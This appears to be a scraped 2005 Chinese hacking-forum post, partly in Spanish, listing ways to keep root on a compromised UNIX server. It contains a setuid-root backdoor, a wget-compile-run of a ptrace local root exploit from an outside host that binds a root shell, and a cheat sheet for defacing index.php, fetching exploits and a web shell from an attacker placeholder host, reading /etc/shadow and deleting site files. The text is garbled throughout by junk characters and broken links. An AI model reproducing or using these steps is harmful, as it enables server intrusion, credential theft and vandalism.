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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>
" X! z6 Q1 E4 |6 G2 O% ^<>1.</P>9 O/ h+ v+ i, W
<>[cnbird@localhost tmp]#id</P>
8 ^* v6 e: |* D/ d5 S<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>4 c) C& L( I8 u2 n
<>[cnbird@localhost tmp]#cp `which id ` .</P>
# F! a1 d% p" S4 S<>[cnbird@localhost tmp]#chown root ./id</P>
! i* K4 p& x3 X# q/ N" z<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
, ]( [; c- ?7 x' u9 Z  }<>[cnbird@localhost tmp]#ls -l ./id</P>
  d- J/ z4 J6 g, T<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
* k# u' U* v/ x( d- G1 H, h<>[cnbird@localhost tmp]#exit</P>
) d- M/ G, ~3 @9 g<>[cnbird@localhost tmp]$id</P>" l+ u& G: _2 x8 _4 w. N. i
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
/ u. t' l* Q  ?; k<>[cnbird@localhost tmp]$./id </P>
5 V" l) t6 A& Q3 f  P7 |<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>1 J0 j; R; \6 k$ b9 Z
<>2.利用ptrace成为root的方法</P>
" W- U2 l4 Z9 H, T( L7 K4 f7 Z<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace/ _8 D  V# j9 `) L' S7 Q& q
-&gt; Parent's PID is 2313. Child's PID is 2314.
) o& w' j; ^2 h" W-&gt; Attaching to 2315.... W" P5 N+ [* `$ u& }0 a. Y3 E
-&gt; Got the thread!!
6 [) @5 f9 y+ ^# |-&gt; Waiting for the next signal...
1 V# ?6 j/ w; P-&gt; Injecting shellcode at 0x4000e85d
  V7 F) A9 R; ]4 y+ q4 V7 h& R-&gt; Bind root shell on port 24876... =p7 d! t: n, h' ~, G! `: o$ N
-&gt; Detached from modprobe thread.
, O5 Q5 A9 N1 H7 T" [-&gt; Committing suicide.....</P>
4 m* j5 O# M% E4 [<>[bash]# id2 r# O* T0 F7 n& v0 j
uid=0(root) gid=0(root) groups=0(root)</P>6 l2 `9 m1 q6 e; l3 X
<>ara ver los dominios que hay en el server:
6 U; V7 v( B2 |- ~, m& ^---------------------------------------------------------% x5 I( O; V' I5 R
cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
9 m; u* [  y/ `1 f' v& ^cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
! T+ _4 h: P# g! z5 s3 [  Rcat /etc/localdomains &lt;&lt; Unicamente los dominios locales3 |( d. y, o# L0 p( T& E5 r& f
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio + {9 B3 {& y7 n1 c4 ^3 {
cat /etc/userdomains &lt;&lt; Este es el mas comun! P) x9 f/ R) ?5 s- O' V: R% }5 S
---------------------------------------------------------</P>
5 Y. j, y. C6 N<>ara ver la version de kernel:
+ {/ b: l* ~/ A& X, e---------------------------------------------------------5 l# G( g+ j( U( j' o: v
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
9 i' J5 D3 e( g5 R0 t' _---------------------------------------------------------</P>3 q! \& C, o7 T8 C* y
<>ara modificar un index ya existente:
! H+ }7 y9 c0 q5 N) c+ Y5 E4 K) ]---------------------------------------------------------8 d- L, i9 w" F) q) U- X+ v- Y1 M5 s
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
1 B+ g# R- t3 ?% p+ S/ }/ W2 p---------------------------------------------------------</P>, ?; }, u9 N5 @+ \; x$ W. ?
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:; M! [3 {" }: K- r
---------------------------------------------------------
5 f4 ^4 `( q: I+ [8 Lcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit! N# E$ _) z% B, N" o
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
- b2 v* ?0 V9 L3 Q" N7 rcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"" o/ B. U6 Y3 y+ {
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". + V2 p9 _( ^& ?% R" F$ b
Hasta aqui termina el proceso para un exploit.  ~7 I, n! F& U
---------------------------------------------------------</P>
& S" ~$ F! h( c, j* T<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
3 H8 N$ M( e0 ~. e/ N3 m9 D---------------------------------------------------------% p5 Q4 l1 J1 w
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
+ R& ~5 T3 x1 U7 o4 m---------------------------------------------------------</P>! N! [/ \4 k/ W; ?
<>Borrar un Ficher" q! E+ }- A+ A: W" P
---------------------------------------------------------
8 y) _# L1 r' f& A. j5 K2 qcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm" X2 `! d1 H/ k  C2 ?3 r0 Q$ r# b
---------------------------------------------------------</P>, E* E( `- C* E- q8 p
<>Subir un ficher$ O4 O1 U* y, e& S. h$ E: t
---------------------------------------------------------
5 M  E2 s8 P! I" z- w$ Lcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>* C% @# E8 E# c( b% c& ]
<>
2 x% s1 c# b" M7 t$ y/ ~. J: W<CENTER></CENTER>
zan
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